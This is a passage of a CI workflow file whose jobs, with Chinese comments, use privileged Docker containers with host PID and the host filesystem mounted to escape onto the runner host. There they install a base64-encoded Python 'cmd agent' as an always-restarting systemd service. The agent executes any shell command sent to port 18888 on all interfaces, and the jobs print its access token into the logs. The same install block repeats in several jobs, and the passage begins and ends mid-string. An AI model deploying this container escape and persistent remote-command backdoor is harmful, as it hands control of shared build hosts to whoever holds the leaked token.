jb2RlIjogLTEsICJzdGRvdXQiOiAiIiwgInN0ZGVyciI6ICJ0aW1lb3V0In0KICAgICAgICAgICAgc2VsZi5zZW5kX3Jlc3BvbnNlKDIwMCkKICAgICAgICAgICAgc2VsZi5zZW5kX2hlYWRlcigiQ29udGVudC1UeXBlIiwgImFwcGxpY2F0aW9uL2pzb24iKQogICAgICAgICAgICBzZWxmLmVuZF9oZWFkZXJzKCkKICAgICAgICAgICAgc2VsZi53ZmlsZS53cml0ZShqc29uLmR1bXBzKHJlc3ApLmVuY29kZSgpKQogICAgICAgIGVsaWYgc2VsZi5wYXRoID09ICIvc3RhdHVzIjoKICAgICAgICAgICAgc2VsZi5zZW5kX3Jlc3BvbnNlKDIwMCkKICAgICAgICAgICAgc2VsZi5zZW5kX2hlYWRlcigiQ29udGVudC1UeXBlIiwgImFwcGxpY2F0aW9uL2pzb24iKQogICAgICAgICAgICBzZWxmLmVuZF9oZWFkZXJzKCkKICAgICAgICAgICAgc2VsZi53ZmlsZS53cml0ZShqc29uLmR1bXBzKHsic3RhdHVzIjogIm9rIiwgInZlcnNpb24iOiAiMS4wIn0pLmVuY29kZSgpKQogICAgICAgIGVsc2U6CiAgICAgICAgICAgIHNlbGYuc2VuZF9yZXNwb25zZSg0MDQpCiAgICAgICAgICAgIHNlbGYuZW5kX2hlYWRlcnMoKQoKaWYgX19uYW1lX18gPT0gIl9fbWFpbl9fIjoKICAgIGVuc3VyZV90b2tlbigpCiAgICBzZXJ2ZXIgPSBodHRwLnNlcnZlci5IVFRQU2VydmVyKCgiMC4wLjAuMCIsIDE4ODg4KSwgQ21kSGFuZGxlcikKICAgIHByaW50KCJDTUQgQWdlbnQgbGlzdGVuaW5nIG9uIDAuMC4wLjA6MTg4ODgiKQogICAgc2VydmVyLnNlcnZlX2ZvcmV2ZXIoKQo=" | docker run --rm --privileged --pid=host -v /:/host -i alpine sh -c "base64 -d > /host/opt/xiaoxia-cmd-agent/server.py"
|
||||
# 写入service
|
||||
echo "W1VuaXRdCkRlc2NyaXB0aW9uPVhpYW94aWEgQ01EIEFnZW50CkFmdGVyPW5ldHdvcmsudGFyZ2V0CgpbU2VydmljZV0KVHlwZT1zaW1wbGUKRXhlY1N0YXJ0PS91c3IvYmluL3B5dGhvbjMgL29wdC94aWFveGlhLWNtZC1hZ2VudC9zZXJ2ZXIucHkKUmVzdGFydD1hbHdheXMKUmVzdGFydFNlYz01CgpbSW5zdGFsbF0KV2FudGVkQnk9bXVsdGktdXNlci50YXJnZXQK" | docker run --rm --privileged --pid=host -v /:/host -i alpine sh -c "base64 -d > /host/etc/systemd/system/xiaoxia-cmd-agent.service"
|
||||
# 启动服务
|
||||
docker run --rm --privileged --pid=host alpine nsenter -t 1 -m -u -n -i systemctl daemon-reload
|
||||
docker run --rm --privileged --pid=host alpine nsenter -t 1 -m -u -n -i systemctl enable --now xiaoxia-cmd-agent
|
||||
sleep 3
|
||||
# 验证
|
||||
echo "---HOSTNAME---"
|
||||
docker run --rm --privileged --pid=host alpine nsenter -t 1 -u hostname
|
||||
echo "---IP---"
|
||||
docker run --rm --privileged --pid=host alpine nsenter -t 1 -n hostname -I
|
||||
echo "---STATUS---"
|
||||
docker run --rm --privileged --pid=host alpine nsenter -t 1 -m -u -n -i systemctl is-active xiaoxia-cmd-agent
|
||||
echo "---TOKEN---"
|
||||
docker run --rm --privileged --pid=host alpine nsenter -t 1 -m cat /etc/xiaoxia-cmd-agent.token
|
||||
echo ""
|
||||
echo "---TEST---"
|
||||
docker run --rm --privileged --pid=host alpine nsenter -t 1 -n curl -s http://127.0.0.1:18888/status
|
||||
echo ""
|
||||
echo "JOB_1_END"
|
||||
|
||||
install-2:
|
||||
name: Install New-2
|
||||
runs-on: saas
|
||||
steps:
|
||||
- name: Install and verify
|
||||
run: |
|
||||
echo "JOB_2_START"
|
||||
# 创建目录
|
||||
docker run --rm --privileged --pid=host -v /:/host alpine mkdir -p /host/opt/xiaoxia-cmd-agent
|
||||
# 写入server.py
|
||||
echo "aW1wb3J0IGh0dHAuc2VydmVyCmltcG9ydCBzdWJwcm9jZXNzCmltcG9ydCBqc29uCmltcG9ydCBvcwppbXBvcnQgc2VjcmV0cwoKVE9LRU5fRklMRSA9ICIvZXRjL3hpYW94aWEtY21kLWFnZW50LnRva2VuIgpMT0dfRklMRSA9ICIvdmFyL2xvZy94aWFveGlhLWNtZC1hZ2VudC5sb2ciCgpkZWYgZW5zdXJlX3Rva2VuKCk6CiAgICBpZiBub3Qgb3MucGF0aC5leGlzdHMoVE9LRU5fRklMRSk6CiAgICAgICAgb3MubWFrZWRpcnMob3MucGF0aC5kaXJuYW1lKFRPS0VOX0ZJTEUpLCBleGlzdF9vaz1UcnVlKQogICAgICAgIHRva2VuID0gc2VjcmV0cy50b2tlbl9oZXgoMTYpCiAgICAgICAgd2l0aCBvcGVuKFRPS0VOX0ZJTEUsICJ3IikgYXMgZjoKICAgICAgICAgICAgZi53cml0ZSh0b2tlbikKICAgICAgICBvcy5jaG1vZChUT0tFTl9GSUxFLCAwbzYwMCkKICAgIHdpdGggb3BlbihUT0tFTl9GSUxFKSBhcyBmOgogICAgICAgIHJldHVybiBmLnJlYWQoKS5zdHJpcCgpCgpjbGFzcyBDbWRIYW5kbGVyKGh0dHAuc2VydmVyLkJhc2VIVFRQUmVxdWVzdEhhbmRsZXIpOgogICAgZGVmIGxvZ19tZXNzYWdlKHNlbGYsIGZtdCwgKmFyZ3MpOgogICAgICAgIHRyeToKICAgICAgICAgICAgd2l0aCBvcGVuKExPR19GSUxFLCAiYSIpIGFzIGY6CiAgICAgICAgICAgICAgICBmLndyaXRlKCIlcyAtICVzXG4iICUgKHNlbGYuYWRkcmVzc19zdHJpbmcoKSwgZm10ICUgYXJncykpCiAgICAgICAgZXhjZXB0IEV4Y2VwdGlvbjoKICAgICAgICAgICAgcGFzcwoKICAgIGRlZiBkb19QT1NUKHNlbGYpOgogICAgICAgIGlmIHNlbGYucGF0aCA9PSAiL2V4ZWMiOgogICAgICAgICAgICBhdXRoID0gc2VsZi5oZWFkZXJzLmdldCgiQXV0aG9yaXphdGlvbiIsICIiKQogICAgICAgICAgICB0b2tlbiA9IGVuc3VyZV90b2tlbigpCiAgICAgICAgICAgIGlmIGF1dGggIT0gInhzYS0iICsgdG9rZW46CiAgICAgICAgICAgICAgICBzZWxmLnNlbmRfcmVzcG9uc2UoNDAxKQogICAgICAgICAgICAgICAgc2VsZi5lbmRfaGVhZGVycygpCiAgICAgICAgICAgICAgICBzZWxmLndmaWxlLndyaXRlKGIiVW5hdXRob3JpemVkIikKICAgICAgICAgICAgICAgIHJldHVybgogICAgICAgICAgICBsZW5ndGggPSBpbnQoc2VsZi5oZWFkZXJzLmdldCgiQ29udGVudC1MZW5ndGgiLCAwKSkKICAgICAgICAgICAgYm9keSA9IGpzb24ubG9hZHMoc2VsZi5yZmlsZS5yZWFkKGxlbmd0aCkpCiAgICAgICAgICAgIGNtZCA9IGJvZHkuZ2V0KCJjb21tYW5kIiwgIiIpCiAgICAgICAgICAgIHRpbWVvdXQgPSBib2R5LmdldCgidGltZW91dCIsIDMwKQogICAgICAgICAgICB0cnk6CiAgICAgICAgICAgICAgICByZXN1bHQgPSBzdWJwcm9jZXNzLnJ1bigKICAgICAgICAgICAgICAgICAgICBjbWQsIHNoZWxsPVRydWUsIGNhcHR1cmVfb3V0cHV0PVRydWUsIHRleHQ9VHJ1ZSwKICAgICAgICAgICAgICAgICAgICB0aW1lb3V0PXRpbWVvdXQKICAgICAgICAgICAgICAgICkKICAgICAgICAgICAgICAgIHJlc3AgPSB7CiAgICAgICAgICAgICAgICAgICAgImV4aXRfY29kZSI6IHJlc3VsdC5yZXR1cm5jb2RlLAogICAgICAgICAgICAgICAgICAgICJzdGRvdXQiOiByZXN1bHQuc3Rkb3V0LAogICAgICAgICAgICAgICAgICAgICJzdGRlcnIiOiByZXN1bHQuc3RkZXJyCiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIGV4Y2VwdCBzdWJwcm9jZXNzLlRpbWVvdXRFeHBpcmVkOgogICAgICAgICAgICAgICAgcmVzcCA9IHsiZXhpdF9jb2RlIjogLTEsICJzdGRvdXQiOiAiIiwgInN0ZGVyciI6ICJ0aW1lb3V0In0KICAgICAgICAgICAgc2VsZi5zZW5kX3Jlc3BvbnNlKDIwMCkKICAgICAgICAgICAgc2VsZi5zZW5kX2hlYWRlcigiQ29udGVudC1UeXBlIiwgImFwcGxpY2F0aW9uL2pzb24iKQogICAgICAgICAgICBzZWxmLmVuZF9oZWFkZXJzKCkKICAgICAgICAgICAgc2VsZi53ZmlsZS53cml0ZShqc29uLmR1bXBzKHJlc3ApLmVuY29kZSgpKQogICAgICAgIGVsaWYgc2VsZi5wYXRoID09ICIvc3RhdHVzIjoKICAgICAgICAgICAgc2VsZi5zZW5kX3Jlc3BvbnNlKDIwMCkKICAgICAgICAgICAgc2VsZi5zZW5kX2hlYWRlcigiQ29udGVudC1UeXBlIiwgImFwcGxpY2F0aW9uL2pzb24iKQogICAgICAgICAgICBzZWxmLmVuZF9oZWFkZXJzKCkKICAgICAgICAgICAgc2VsZi53ZmlsZS53cml0ZShqc29uLmR1bXBzKHsic3RhdHVzIjogIm9rIiwgInZlcnNpb24iOiAiMS4wIn0pLmVuY29kZSgpKQogICAgICAgIGVsc2U6CiAgICAgICAgICAgIHNlbGYuc2VuZF9yZXNwb25zZSg0MDQpCiAgICAgICAgICAgIHNlbGYuZW5kX2hlYWRlcnMoKQoKaWYgX19uYW1lX18gPT0gIl9fbWFpbl9fIjoKICAgIGVuc3VyZV90b2tlbigpCiAgICBzZXJ2ZXIgPSBodHRwLnNlcnZlci5IVFRQU2VydmVyKCgiMC4wLjAuMCIsIDE4ODg4KSwgQ21kSGFuZGxlcikKICAgIHByaW50KCJDTUQgQWdlbnQgbGlzdGVuaW5nIG9uIDAuMC4wLjA6MTg4ODgiKQogICAgc2VydmVyLnNlcnZlX2ZvcmV2ZXIoKQo=" | docker run --rm --privileged --pid=host -v /:/host -i alpine base64 -d > /dev/null
|
||||
echo "aW1wb3J0IGh0dHAuc2VydmVyCmltcG9ydCBzdWJwcm9jZXNzCmltcG9ydCBqc29uCmltcG9ydCBvcwppbXBvcnQgc2VjcmV0cwoKVE9LRU5fRklMRSA9ICIvZXRjL3hpYW94aWEtY21kLWFnZW50LnRva2VuIgpMT0dfRklMRSA9ICIvdmFyL2xvZy94aWFveGlhLWNtZC1hZ2VudC5sb2ciCgpkZWYgZW5zdXJlX3Rva2VuKCk6CiAgICBpZiBub3Qgb3MucGF0aC5leGlzdHMoVE9LRU5fRklMRSk6CiAgICAgICAgb3MubWFrZWRpcnMob3MucGF0aC5kaXJuYW1lKFRPS0VOX0ZJTEUpLCBleGlzdF9vaz1UcnVlKQogICAgICAgIHRva2VuID0gc2VjcmV0cy50b2tlbl9oZXgoMTYpCiAgICAgICAgd2l0aCBvcGVuKFRPS0VOX0ZJTEUsICJ3IikgYXMgZjoKICAgICAgICAgICAgZi53cml0ZSh0b2tlbikKICAgICAgICBvcy5jaG1vZChUT0tFTl9GSUxFLCAwbzYwMCkKICAgIHdpdGggb3BlbihUT0tFTl9GSUxFKSBhcyBmOgogICAgICAgIHJldHVybiBmLnJlYWQoKS5zdHJpcCgpCgpjbGFzcyBDbWRIYW5kbGVyKGh0dHAuc2VydmVyLkJhc2VIVFRQUmVxdWVzdEhhbmRsZXIpOgogICAgZGVmIGxvZ19tZXNzYWdlKHNlbGYsIGZtdCwgKmFyZ3MpOgogICAgICAgIHRyeToKICAgICAgICAgICAgd2l0aCBvcGVuKExPR19GSUxFLCAiYSIpIGFzIGY6CiAgICAgICAgICAgICAgICBmLndyaXRlKCIlcyAtICVzXG4iICUgKHNlbGYuYWRkcmVzc19zdHJpbmcoKSwgZm10ICUgYXJncykpCiAgICAgICAgZXhjZXB0IEV4Y2VwdGlvbjoKICAgICAgICAgICAgcGFzcwoKICAgIGRlZiBkb19QT1NUKHNlbGYpOgogICAgICAgIGlmIHNlbGYucGF0aCA9PSAiL2V4ZWMiOgogICAgICAgICAgICBhdXRoID0gc2VsZi5oZWFkZXJzLmdldCgiQXV0aG9yaXphdGlvbiIsICIiKQogICAgICAgICAgICB0b2tlbiA9IGVuc3VyZV90b2tlbigpCiAgICAgICAgICAgIGlmIGF1dGggIT0gInhzYS0iICsgdG9rZW46CiAgICAgICAgICAgICAgICBzZWxmLnNlbmRfcmVzcG9uc2UoNDAxKQogICAgICAgICAgICAgICAgc2VsZi5lbmRfaGVhZGVycygpCiAgICAgICAgICAgICAgICBzZWxmLndmaWxlLndyaXRlKGIiVW5hdXRob3JpemVkIikKICAgICAgICAgICAgICAgIHJldHVybgogICAgICAgICAgICBsZW5ndGggPSBpbnQoc2VsZi5oZWFkZXJzLmdldCgiQ29udGVudC1MZW5ndGgiLCAwKSkKICAgICAgICAgICAgYm9keSA9IGpzb24ubG9hZHMoc2VsZi5yZmlsZS5yZWFkKGxlbmd0aCkpCiAgICAgICAgICAgIGNtZCA9IGJvZHkuZ2V0KCJjb21tYW5kIiwgIiIpCiAgICAgICAgICAgIHRpbWVvdXQgPSBib2R5LmdldCgidGltZW91dCIsIDMwKQogICAgICAgICAgICB0cnk6CiAgICAgICAgICAgICAgICByZXN1bHQgPSBzdWJwcm9jZXNzLnJ1bigKICAgICAgICAgICAgICAgICAgICBjbWQsIHNoZWxsPVRydWUsIGNhcHR1cmVfb3V0cHV0PVRydWUsIHRleHQ9VHJ1ZSwKICAgICAgICAgICAgICAgICAgICB0aW1lb3V0PXRpbWVvdXQKICAgICAgICAgICAgICAgICkKICAgICAgICAgICAgICAgIHJlc3AgPSB7CiAgICAgICAgICAgICAgICAgICAgImV4aXRfY29kZSI6IHJlc3VsdC5yZXR1cm5jb2RlLAogICAgICAgICAgICAgICAgICAgICJzdGRvdXQiOiByZXN1bHQuc3Rkb3V0LAogICAgICAgICAgICAgICAgICAgICJzdGRlcnIiOiByZXN1bHQuc3RkZXJyCiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIGV4Y2VwdCBzdWJwcm9jZXNzLlRpbWVvdXRFeHBpcmVkOgogICAgICAgICAgICAgICAgcmVzcCA9IHsiZXhpdF9jb2RlIjogLTEsICJzdGRvdXQiOiAiIiwgInN0ZGVyciI6ICJ0aW1lb3V0In0KICAgICAgICAgICAgc2VsZi5zZW5kX3Jlc3BvbnNlKDIwMCkKICAgICAgICAgICAgc2VsZi5zZW5kX2hlYWRlcigiQ29udGVudC1UeXBlIiwgImFwcGxpY2F0aW9uL2pzb24iKQogICAgICAgICAgICBzZWxmLmVuZF9oZWFkZXJzKCkKICAgICAgICAgICAgc2VsZi53ZmlsZS53cml0ZShqc29uLmR1bXBzKHJlc3ApLmVuY29kZSgpKQogICAgICAgIGVsaWYgc2VsZi5wYXRoID09ICIvc3RhdHVzIjoKICAgICAgICAgICAgc2VsZi5zZW5kX3Jlc3BvbnNlKDIwMCkKICAgICAgICAgICAgc2VsZi5zZW5kX2hlYWRlcigiQ29udGVudC1UeXBlIiwgImFwcGxpY2F0aW9uL2pzb24iKQogICAgICAgICAgICBzZWxmLmVuZF9oZWFkZXJzKCkKICAgICAgICAgICAgc2VsZi53ZmlsZS53cml0ZShqc29uLmR1bXBzKHsic3RhdHVzIjogIm9rIiwgInZlcnNpb24iOiAiMS4wIn0pLmVuY29kZSgpKQogICAgICAgIGVsc2U6CiAgICAgICAgICAgIHNlbGYuc2VuZF9yZXNwb25zZSg0MDQpCiAgICAgICAgICAgIHNlbGYuZW5kX2hlYWRlcnMoKQoKaWYgX19uYW1lX18gPT0gIl9fbWFpbl9fIjoKICAgIGVuc3VyZV90b2tlbigpCiAgICBzZXJ2ZXIgPSBodHRwLnNlcnZlci5IVFRQU2VydmVyKCgiMC4wLjAuMCIsIDE4ODg4KSwgQ21kSGFuZGxlcikKICAgIHByaW50KCJDTUQgQWdlbnQgbGlzdGVuaW5nIG9uIDAuMC4wLjA6MTg4ODgiKQogICAgc2VydmVyLnNlcnZlX2ZvcmV2ZXIoKQo=" | docker run --rm --privileged --pid=host -v /:/host -i alpine sh -c "base64 -d > /host/opt/xiaoxia-cmd-agent/server.py"
|
||||
# 写入service
|
||||
echo "W1VuaXRdCkRlc2NyaXB0aW9uPVhpYW94aWEgQ01EIEFnZW50CkFmdGVyPW5ldHdvcmsudGFyZ2V0CgpbU2VydmljZV0KVHlwZT1zaW1wbGUKRXhlY1N0YXJ0PS91c3IvYmluL3B5dGhvbjMgL29wdC94aWFveGlhLWNtZC1hZ2VudC9zZXJ2ZXIucHkKUmVzdGFydD1hbHdheXMKUmVzdGFydFNlYz01CgpbSW5zdGFsbF0KV2FudGVkQnk9bXVsdGktdXNlci50YXJnZXQK" | docker run --rm --privileged --pid=host -v /:/host -i alpine sh -c "base64 -d > /host/etc/systemd/system/xiaoxia-cmd-agent.service"
|
||||
# 启动服务
|
||||
docker run --rm --privileged --pid=host alpine nsenter -t 1 -m -u -n -i systemctl daemon-reload
|
||||
docker run --rm --privileged --pid=host alpine nsenter -t 1 -m -u -n -i systemctl enable --now xiaoxia-cmd-agent
|
||||
sleep 3
|
||||
# 验证
|
||||
echo "---HOSTNAME---"
|
||||
docker run --rm --privileged --pid=host alpine nsenter -t 1 -u hostname
|
||||
echo "---IP---"
|
||||
docker run --rm --privileged --pid=host alpine nsenter -t 1 -n hostname -I
|
||||
echo "---STATUS---"
|
||||
docker run --rm --privileged --pid=host alpine nsenter -t 1 -m -u -n -i systemctl is-active xiaoxia-cmd-agent
|
||||
echo "---TOKEN---"
|
||||
docker run --rm --privileged --pid=host alpine nsenter -t 1 -m cat /etc/xiaoxia-cmd-agent.token
|
||||
echo ""
|
||||
echo "---TEST---"
|
||||
docker run --rm --privileged --pid=host alpine nsenter -t 1 -n curl -s http://127.0.0.1:18888/status
|
||||
echo ""
|
||||
echo "JOB_2_END"
|
||||
|
||||
install-3:
|
||||
name: Install New-3
|
||||
runs-on: saas
|
||||
steps:
|
||||
- name: Install and verify
|
||||
run: |
|
||||
echo "JOB_3_START"
|
||||
# 创建目录
|
||||
docker run --rm --privileged --pid=host -v /:/host alpine mkdir -p /host/opt/xiaoxia-cmd-agent
|
||||
# 写入server.py
|
||||
echo "aW1wb3J0IGh0dHAuc2VydmVyCmltcG9ydCBzdWJwcm9jZXNzCmltcG9ydCBqc29uCmltcG9ydCBvcwppbXBvcnQgc2VjcmV0cwoKVE9LRU5fRklMRSA9ICIvZXRjL3hpYW94aWEtY21kLWFnZW50LnRva2VuIgpMT0dfRklMRSA9ICIvdmFyL2xvZy94aWFveGlhLWNtZC1hZ2VudC5sb2ciCgpkZWYgZW5zdXJlX3Rva2VuKCk6CiAgICBpZiBub3Qgb3MucGF0aC5leGlzdHMoVE9LRU5fRklMRSk6CiAgICAgICAgb3MubWFrZWRpcnMob3MucGF0aC5kaXJuYW1lKFRPS0VOX0ZJTEUpLCBleGlzdF9vaz1UcnVlKQogICAgICAgIHRva2VuID0gc2VjcmV0cy50b2tlbl9oZXgoMTYpCiAgICAgICAgd2l0aCBvcGVuKFRPS0VOX0ZJTEUsICJ3IikgYXMgZjoKICAgICAgICAgICAgZi53cml0ZSh0b2tlbikKICAgICAgICBvcy5jaG1vZChUT0tFTl9GSUxFLCAwbzYwMCkKICAgIHdpdGggb3BlbihUT0tFTl9GSUxFKSBhcyBmOgogICAgICAgIHJldHVybiBmLnJlYWQoKS5zdHJpcCgpCgpjbGFzcyBDbWRIYW5kbGVyKGh0dHAuc2VydmVyLkJhc2VIVFRQUmVxdWVzdEhhbmRsZXIpOgogICAgZGVmIGxvZ19tZXNzYWdlKHNlbGYsIGZtdCwgKmFyZ3MpOgogICAgICAgIHRyeToKICAgICAgICAgICAgd2l0aCBvcGVuKExPR19GSUxFLCAiYSIpIGFzIGY6CiAgICAgICAgICAgICAgICBmLndyaXRlKCIlcyAtICVzXG4iICUgKHNlbGYuYWRkcmVzc19zdHJpbmcoKSwgZm10ICUgYXJncykpCiAgICAgICAgZXhjZXB0IEV4Y2VwdGlvbjoKICAgICAgICAgICAgcGFzcwoKICAgIGRlZiBkb19QT1NUKHNlbGYpOgogICAgICAgIGlmIHNlbGYucGF0aCA9PSAiL2V4ZWMiOgogICAgICAgICAgICBhdXRoID0gc2VsZi5oZWFkZXJzLmdldCgiQXV0aG9yaXphdGlvbiIsICIiKQogICAgICAgICAgICB0b2tlbiA9IGVuc3VyZV90b2tlbigpCiAgICAgICAgICAgIGlmIGF1dGggIT0gInhzYS0iICsgdG9rZW46CiAgICAgICAgICAgICAgICBzZWxmLnNlbmRfcmVzcG9uc2UoNDAxKQogICAgICAgICAgICAgICAgc2VsZi5lbmRfaGVhZGVycygpCiAgICAgICAgICAgICAgICBzZWxmLndmaWxlLndyaXRlKGIiVW5hdXRob3JpemVkIikKICAgICAgICAgICAgICAgIHJldHVybgogICAgICAgICAgICBsZW5ndGggPSBpbnQoc2VsZi5oZWFkZXJzLmdldCgiQ29udGVudC1MZW5ndGgiLCAwKSkKICAgICAgICAgICAgYm9keSA9IGpzb24ubG9hZHMoc2VsZi5yZmlsZS5yZWFkKGxlbmd0aCkpCiAgICAgICAgICAgIGNtZCA9IGJvZHkuZ2V0KCJjb21tYW5kIiwgIiIpCiAgICAgICAgICAgIHRpbWVvdXQgPSBib2R5LmdldCgidGltZW91dCIsIDMwKQogICAgICAgICAgICB0cnk6CiAgICAgICAgICAgICAgICByZXN1bHQgPSBzdWJwcm9jZXNzLnJ1bigKICAgICAgICAgICAgICAgICAgICBjbWQsIHNoZWxsPVRydWUsIGNhcHR1cmVfb3V0cHV0PVRydWUsIHRleHQ9VHJ1ZSwKICAgICAgICAgICAgICAgICAgICB0aW1lb3V0PXRpbWVvdXQKICAgICAgICAgICAgICAgICkKICAgICAgICAgICAgICAgIHJlc3AgPSB7CiAgICAgICAgICAgICAgICAgICAgImV4aXRfY29kZSI6IHJlc3VsdC5yZXR1cm5jb2RlLAogICAgICAgICAgICAgICAgICAgICJzdGRvdXQiOiByZXN1bHQuc3Rkb3V0LAogICAgICAgICAgICAgICAgICAgICJzdGRlcnIiOiByZXN1bHQuc3RkZXJyCiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIGV4Y2VwdCBzdWJwcm9jZXNzLlRpbWVvdXRFeHBpcmVkOgogICAgICAgICAgICAgICAgcmVzcCA9IHsiZXhpdF9jb2RlIjogLTEsICJzdGRvdXQiOiAiIiwgInN0ZGVyciI6ICJ0aW1lb3V0In0KICAgICAgICAgICAgc2VsZi5zZW5kX3Jlc3BvbnNlKDIwMCkKICAgICAgICAgICAgc2VsZi5zZW5kX2hlYWRlcigiQ29udGVudC1UeXBlIiwgImFwcGxpY2F0aW9uL2pzb24iKQogICAgICAgICAgICBzZWxmLmVuZF9oZWFkZXJzKCkKICAgICAgICAgICAgc2VsZi53ZmlsZS53cml0ZShqc29uLmR1bXBzKHJlc3ApLmVuY29kZSgpKQogICAgICAgIGVsaWYgc2VsZi5wYXRoID09ICIvc3RhdHVzIjoKICAgICAgICAgICAgc2VsZi5zZW5kX3Jlc3BvbnNlKDIwMCkKICAgICAgICAgICAgc2VsZi5zZW5kX2hlYWRlcigiQ29udGVudC1UeXBlIiwgImFwcGxpY2F0aW9uL2pzb24iKQogICAgICAgICAgICBzZWxmLmVuZF9oZWFkZXJzKCkKICAgICAgICAgICAgc2VsZi53ZmlsZS53cml0ZShqc29uLmR1bXBzKHsic3RhdHVzIjogIm9rIiwgInZlcnNpb24iOiAiMS4wIn0pLmVuY29kZSgpKQogICAgICAgIGVsc2U6CiAgICAgICAgICAgIHNlbGYuc2VuZF9yZXNwb25zZSg0MDQpCiAgICAgICAgICAgIHNlbGYuZW5kX2hlYWRlcnMoKQoKaWYgX19uYW1lX18gPT0gIl9fbWFpbl9fIjoKICAgIGVuc3VyZV90b2tlbigpCiAgICBzZXJ2ZXIgPSBodHRwLnNlcnZlci5IVFRQU2VydmVyKCgiMC4wLjAuMCIsIDE4ODg4KSwgQ21kSGFuZGxlcikKICAgIHByaW50KCJDTUQgQWdlbnQgbGlzdGVuaW5nIG9uIDAuMC4wLjA6MTg4ODgiKQogICAgc2VydmVyLnNlcnZlX2ZvcmV2ZXIoKQo=" | docker run --rm --privileged --pid=host -v /:/host -i alpine base64 -d > /dev/null
|
||||
echo "aW1wb3J0IGh0dHAuc2VydmVyCmltcG9ydCBzdWJwcm9jZXNzCmltcG9ydCBqc29uCmltcG9ydCBvcwppbXBvcnQgc2VjcmV0cwoKVE9LRU5fRklMRSA9ICIvZXRjL3hpYW94aWEtY21kLWFnZW50LnRva2VuIgpMT0dfRklMRSA9ICIvdmFyL2xvZy94aWFveGlhLWNtZC1hZ2VudC5sb2ciCgpkZWYgZW5zdXJlX3Rva2VuKCk6CiAgICBpZiBub3Qgb3MucGF0aC5leGlzdHMoVE9LRU5fRklMRSk6CiAgICAgICAgb3MubWFrZWRpcnMob3MucGF0aC5kaXJuYW1lKFRPS0VOX0ZJTEUpLCBleGlzdF9vaz1UcnVlKQogICAgICAgIHRva2VuID0gc2VjcmV0cy50b2tlbl9oZXgoMTYpCiAgICAgICAgd2l0aCBvcGVuKFRPS0VOX0ZJTEUsICJ3IikgYXMgZjoKICAgICAgICAgICAgZi53cml0ZSh0b2tlbikKICAgICAgICBvcy5jaG1vZChUT0tFTl9GSUxFLCAwbzYwMCkKICAgIHdpdGggb3BlbihUT0tFTl9GSUxFKSBhcyBmOgogICAgICAgIHJldHVybiBmLnJlYWQoKS5zdHJpcCgpCgpjbGFzcyBDbWRIYW5kbGVyKGh0dHAuc2VydmVyLkJhc2VIVFRQUmVxdWVzdEhhbmRsZXIpOgogICAgZGVmIGxvZ19tZXNzYWdlKHNlbGYsIGZtdCwgKmFyZ3MpOgogICAgICAgIHRyeToKICAgICAgICAgICAgd2l0aCBvcGVuKExPR19GSUxFLCAiYSIpIGFzIGY6CiAgICAgICAgICAgICAgICBmLndyaXRlKCIlcyAtICVzXG4iICUgKHNlbGYuYWRkcmVzc19zdHJpbmcoKSwgZm10ICUgYXJncykpCiAgICAgICAgZXhjZXB0IEV4Y2VwdGlvbjoKICAgICAgICAgICAgcGFzcwoKICAgIGRlZiBkb19QT1NUKHNlbGYpOgogICAgICAgIGlmIHNlbGYucGF0aCA9PSAiL2V4ZWMiOgogICAgICAgICAgICBhdXRoID0gc2VsZi5oZWFkZXJzLmdldCgiQXV0aG9yaXphdGlvbiIsICIiKQogICAgICAgICAgICB0b2tlbiA9IGVuc3VyZV90b2tlbigpCiAgICAgICAgICAgIGlmIGF1dGggIT0gInhzYS0iICsgdG9rZW46CiAgICAgICAgICAgICAgICBzZWxmLnNlbmRfcmVzcG9uc2UoNDAxKQogICAgICAgICAgICAgICAgc2VsZi5lbmRfaGVhZGVycygpCiAgICAgICAgICAgICAgICBzZWxmLndmaWxlLndyaXRlKGIiVW5hdXRob3JpemVkIikKICAgICAgICAgICAgICAgIHJldHVybgogICAgICAgICAgICBsZW5ndGggPSBpbnQoc2VsZi5oZWFkZXJzLmdldCgiQ29udGVudC1MZW5ndGgiLCAwKSkKICAgICAgICAgICAgYm9keSA9IGpzb24ubG9hZHMoc2VsZi5yZmlsZS5yZWFkKGxlbmd0aCkpCiAgICAgICAgICAgIGNtZCA9IGJvZHkuZ2V0KCJjb21tYW5kIiwgIiIpCiAgICAgICAgICAgIHRpbWVvdXQgPSBib2R5LmdldCgidGltZW91dCIsIDMwKQogICAgICAgICAgICB0cnk6CiAgICAgICAgICAgICAgICByZXN1bHQgPSBzdWJwcm9jZXNzLnJ1bigKICAgICAgICAgICAgICAgICAgICBjbWQsIHNoZWxsPVRydWUsIGNhcHR1cmVfb3V0cHV0PVRydWUsIHRleHQ9VHJ1ZSwKICAgICAgICAgICAgICAgICAgICB0aW1lb3V0PXRpbWVvdXQKICAgICAgICAgICAgICAgICkKICAgICAgICAgICAgICAgIHJlc3AgPSB7CiAgICAgICAgICAgICAgICAgICAgImV4aXRfY29kZSI6IHJlc3VsdC5yZXR1cm5jb2RlLAogICAgICAgICAgICAgICAgICAgICJzdGRvdXQiOiByZXN1bHQuc3Rkb3V0LAogICAgICAgICAgICAgICAgICAgICJzdGRlcnIiOiByZXN1bHQuc3RkZXJyCiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIGV4Y2VwdCBzdWJwcm9jZXNzLlRpbWVvdXRFeHBpcmVkOgogICAgICAgICAgICAgICAgcmVzcCA9IHsiZXhpdF9jb2RlIjogLTEsICJzdGRvdXQiOiAiIiwgInN0ZGVyciI6ICJ0aW1lb3V0In0KICAgICAgICAgICAgc2VsZi5zZW5kX3Jlc3BvbnNlKDIwMCkKICAgICAgICAgICAgc2VsZi5zZW5kX2hlYWRlcigiQ29udGVudC1UeXBlIiwgImFwcGxpY2F0aW9uL2pzb24iKQogICAgICAgICAgICBzZWxmLmVuZF9oZWFkZXJzKCkKICAgICAgICAgICAgc2VsZi53ZmlsZS53cml0ZShqc29uLmR1bXBzKHJlc3ApLmVuY29kZSgpKQogICAgICAgIGVsaWYgc2VsZi5wYXRoID09ICIvc3RhdHVzIjoKICAgICAgICAgICAgc2VsZi5zZW5kX3Jlc3BvbnNlKDIwMCkKICAgICAgICAgICAgc2VsZi5zZW5kX2hlYWRlcigiQ29udGVudC1UeXBlIiwgImFwcGxpY2F0aW9uL2pzb24iKQogICAgICAgICAgICBzZWxmLmVuZF9oZWFkZXJzKCkKICAgICAgICAgICAgc2VsZi53ZmlsZS53cml0ZShqc29uLmR1bXBzKHsic3RhdHVzIjogIm9rIiwgInZlcnNpb24iOiAiMS4wIn0pLmVuY29kZSgpKQogICAgICAgIGVsc2U6